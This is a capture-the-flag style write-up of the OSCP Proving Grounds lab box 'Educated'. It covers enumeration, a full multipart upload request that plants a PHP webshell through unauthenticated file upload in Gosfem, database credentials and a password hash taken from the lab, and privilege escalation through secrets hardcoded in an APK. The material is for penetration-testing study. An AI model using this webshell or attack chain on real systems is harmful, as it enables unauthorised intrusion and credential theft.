OSCP Proving Grounds — Educated

Anoetic
9 min readMar 25, 2024

--

Welcome to my write-up for the proving grounds box ‘Educated’, this box was a fun one. The foothold has you abusing an unauthenticated, unrestricted file upload due to a lack of filtering and improper access controls. From there you find credentials for MySQL within a config file and by looking into the database, can abuse credential reuse and log into one of the accounts on the machine to grab the local flag. After that, you can navigate to a separate user’s home folder and find an android apk which contains clear-text secrets stored within. From there you abuse those apk credentials to gain access as the root user.

So lets get started, grab a drink, queue the song ‘66023C’ by BrokinPaper and lets go.

Enumeration

As always we start of with a nmap scan, and we see two ports open. Port 22 can get stuffed, so lets investigate port 80.

Nmap scan report for 192.168.201.13                                                                                                                                                                                
Host is up, received echo-reply ttl 61 (0.26s latency).
Scanned at 2024-03-25 05:09:05 EDT for 15s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmPOfERLKCxx+ufQz7eRTNuEEkJ+GX/hKPNPpCWlTiTgegmjYoXQ7MA5ibTRoJ6vxpPEggzNszJKbBrSVAbRuT2sBg4o7ywiGUy7vsDBpObMrBMsdKuue3gpkaNF8DL2pB3v/XAxtavq1Mh4vz4yj99cc2pX1GhSjpQTWlsK8Rl9DmBKp7t0XxEWwq3juQ9JiN5yAttMrbTDjwMNxcipsYv0pMudDBE6g4gQyiZGwuUfBn+HirxnfRr7KkxmBaEpZgukXSJ7fXYgpQVgNP2cvd2sy/PYe0kL7lOfYwG/DSLWV917RPIdsPPQYr+rqrBL7XQA2Qll30Ms9iAX1m9S6pT/vkaw6JQCgDwFSwPXrknf627jCS7vQ8mh8UL07nPO7Hkko3fnHIcxyJggi/BoAAi3GseOl7vCZl28+waWlNdbR8gaiZhDR1rLvimcm3pg3nv9m+0qfVRIs9fxq97cOEFeXhaGHXvQL6LYGK14ZG+jVXtPavID6txymiBOUsj8M=
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAweAzke7+zPt3Untb06RlI4MEp+vsEJICUG+0GgPMp+vxOdxEhcsVY0VGyuC+plTRlqNi0zNv1Y0Jj0BYRMSUw=
| 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJP5z2Scxa02tfhI1SClflg5QtVdhMImHwY7GugVtfY
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Wisdom Elementary School
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We are greeted with a website advertising Wisdom Elementary School, with no links that work lets start directory busting. From our results, we see an interesting directory called ‘management’, lets look a bit closer.

It leads to a login page for Gosfem Community Edition. Doing some research into this software reveals that it is an open source school management framework. From here I tried the usual default credentials and whatnot but to no avail. I returned to my recursive directory bust scan to see if it found anything useful and it had.

┌──(root㉿kali)-[~]
└─# ffuf -u http://192.168.201.13/management/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --recursion --recursion-depth=2

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://192.168.201.13/management/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 281ms]
uploads [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 263ms]
[INFO] Adding a new job to the queue: http://192.168.201.13/management/uploads/FUZZ

assets [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 264ms]
[INFO] Adding a new job to the queue: http://192.168.201.13/management/assets/FUZZ

Admin [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 269ms]
Login [Status: 200, Size: 6374, Words: 828, Lines: 125, Duration: 271ms]
system [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 263ms]
installation [Status: 301, Size: 334, Words: 20, Lines: 10, Duration: 5621ms]
[INFO] Adding a new job to the queue: http://192.168.201.13/management/installation/FUZZ

...<SNIP>...

First off, the thing that interested me the most was the installation directory. This can oftentimes have juicy information. Within it we find an installation guide and an SQL database. Looking at the contents, we can find some default credentials, but sadly they don’t work. After looking into the other directories my scan found, I began to look for any exploits for the software and came across this one which details that it is possible to upload arbitrary files to the server. The only problem is that the exploit recreation steps make it seem like the user needs to be authenticated, and we don’t have credentials. But it is worth trying anyway since we get a different response from navigating to the endpoint so there may be some authentication issue here.

Lets break down what we know so far:

  1. We know that navigating to ‘/management/admin’ will redirect us to the login page but navigating to the ‘/management/admin/examQuestion’ endpoint detailed in the exploit greets us with a 404 different from the usual Apache 404 message.
  2. We know that we can access the upload directory.
  3. We know that if we post a request to the ‘/management/admin/examQuestion/create’ endpoint we get a 500 Internal Server Error response. Meaning it was found, but something is likely wrong with the request we made.
Note: this screenshot is posting to the incorrect endpoint but the result is the same. My mistake, ensure you are posting requests to /management/admin/examQuestion/create

Here I was a little confused as to what could be going wrong so I asked ChatGPT to clarify what was wrong with my request (something I wouldn’t be able to do within the OSCP exam). After consulting with the AI overlord, it informed me that I needed to “ensure that each part of the multipart body is separated by CRLF (Carriage Return Line Feed) characters” which (to my knowledge) is something that is invisible to see unless you have a very keen eye for details in web requests. Here is the fixed request:

POST /management/admin/examQuestion/create HTTP/1.1
Host: 192.168.201.13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Content-Type: multipart/form-data; boundary=---------------------------183813756938980137172117669544
Connection: close
Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q
Upgrade-Insecure-Requests: 1

-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="name"

test4
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="class_id"

2
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="subject_id"

5
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="timestamp"

2021-12-08
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="teacher_id"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_type"

txt
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="status"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="description"

123123
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="_wysihtml5_mode"

1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_name"; filename="cmd.php"
Content-Type: application/octet-stream

<?php eval($_GET["cmd"]); ?>
-----------------------------183813756938980137172117669544--

And after sending the modified request, sure enough, we get a 200 OK response.

Excitedly, I navigated to the uploads directory to see if the webshell was successfully uploaded.

Success, lets test the webshell… aaaaannnnd it didn’t work. Here I had to try and debug what could have been going wrong, and eventually after determining there was nothing wrong with the request itself, then it might be the payload. Looking at the PHP code we uploaded we see that we used the ‘eval’ method for RCE:

<?php eval($_GET["cmd"]); ?>

This could be what is stopping us, lets modify the payload to use system and see if we get better results:

<?php system($_GET["cmd"]); ?>

This one does work, knowing that it is all good now, I craft a new request to upload the pentestmonkey reverse shell instead of a webshell.

Lateral Movement to M.Sander

From here I did the usual sudo -l and id but to no avail. After a bit more enumeration I decided to check out the webapp itself to see if there were any credentials to be found in any config files and came across the following file: ‘/var/www/html/management/application/config/database.php’

cat /var/www/html/management/application/config/database.php

...<SNIP>...

$active_group = 'default';
$query_builder = TRUE;

$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'school',
'password' => '@jCma4s8ZM<?kA',
'database' => 'school_mgment',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => TRUE,
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE,
);

Credentials for MySQL. Lets try them and see if there’s anything interesting inside the databases.

mysql -u school -p'@jCma4s8ZM<?kA' -h localhost

From here there’s a few things that can be enumerated, within the school_mgment database there are a number of tables:

mysql> use school_mgment;
use school_mgment;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-------------------------+
| Tables_in_school_mgment |
+-------------------------+
| academic_syllabus |
| activity |
| admin |
| admin_role |
...<SNIP>...
| student |
| student_category |
| subject |
| teacher |
| transport |
| transport_route |
| vehicle |
+-------------------------+
44 rows in set (0.00 sec)

The table I checked first was ‘admin’, but that didn’t get me anywhere so next I thought that maybe a teacher might have access to this machine and they have reused their password, so I checked out the contents of the teacher database and found the PII of the user M.Sander.

mysql> select * from teacher;
select * from teacher;
+------------+-----------------+------+----------------+------------+------+--------------+-------------+------------------------------------------------------------------------------------------+------------+--------------------------+----------+---------+------------+----------+---------------+----------------+-------------+------------------------------------------+---------------+----------------+-----------------+----------------+--------+-----------------+---------+--------------+
| teacher_id | name | role | teacher_number | birthday | sex | religion | blood_group | address | phone | email | facebook | twitter | googleplus | linkedin | qualification | marital_status | file_name | password | department_id | designation_id | date_of_joining | joining_salary | status | date_of_leaving | bank_id | login_status |
+------------+-----------------+------+----------------+------------+------+--------------+-------------+------------------------------------------------------------------------------------------+------------+--------------------------+----------+---------+------------+----------+---------------+----------------+-------------+------------------------------------------+---------------+----------------+-----------------+----------------+--------+-----------------+---------+--------------+
| 1 | Testing Teacher | 1 | f82e5cc | 2018-08-19 | male | Christianity | B+ | 546787, Kertz shopping complext, Silicon Valley, United State of America, New York city. | +912345667 | michael_sander@school.pg | facebook | twitter | googleplus | linkedin | PhD | Married | profile.png | 3db12170ff3e811db10a76eadd9e9986e3c1a5b7 | 2 | 4 | 2019-09-15 | 5000 | 1 | 2019-09-18 | 3 | 0 |
+------------+-----------------+------+----------------+------------+------+--------------+-------------+------------------------------------------------------------------------------------------+------------+--------------------------+----------+---------+------------+----------+---------------+----------------+-------------+------------------------------------------+---------------+----------------+-----------------+----------------+--------+-----------------+---------+--------------+
1 row in set (0.00 sec)

The table contained a SHA1 hash of his password. Using hashes.com, I was able to recover the original password:

msander:greatteacher123

From here we can either ssh in as msander or use the su command from within our reverse shell.

Privesc

Msander is able to access the contents of emiller’s (the other user on the box) home directory. Within it, we find a development folder containing an android apk application. Transfer it to our box using your method of choice, I used scp. I personally like to use Mobsf for static and dynamic android application analysis. We can set it up using docker:

docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

From here, using our browser we navigate to http://localhost:8000 to access the web interface and upload the apk for automatic static analysis. Once analysis is completed, scroll down to the ‘Possible Hardcoded Secrets’ section to find the clear-text credentials for emiller.

From here, emiller has full sudo permissions meaning we are root:

Conclusion

This box was a fun one, definitely should be rated harder than intermediate in my opinion. Both the foothold and privesc taught me a number of things and I enjoyed how novel much of the exploit chain felt.

Thanks for reading, happy hacking!

--

--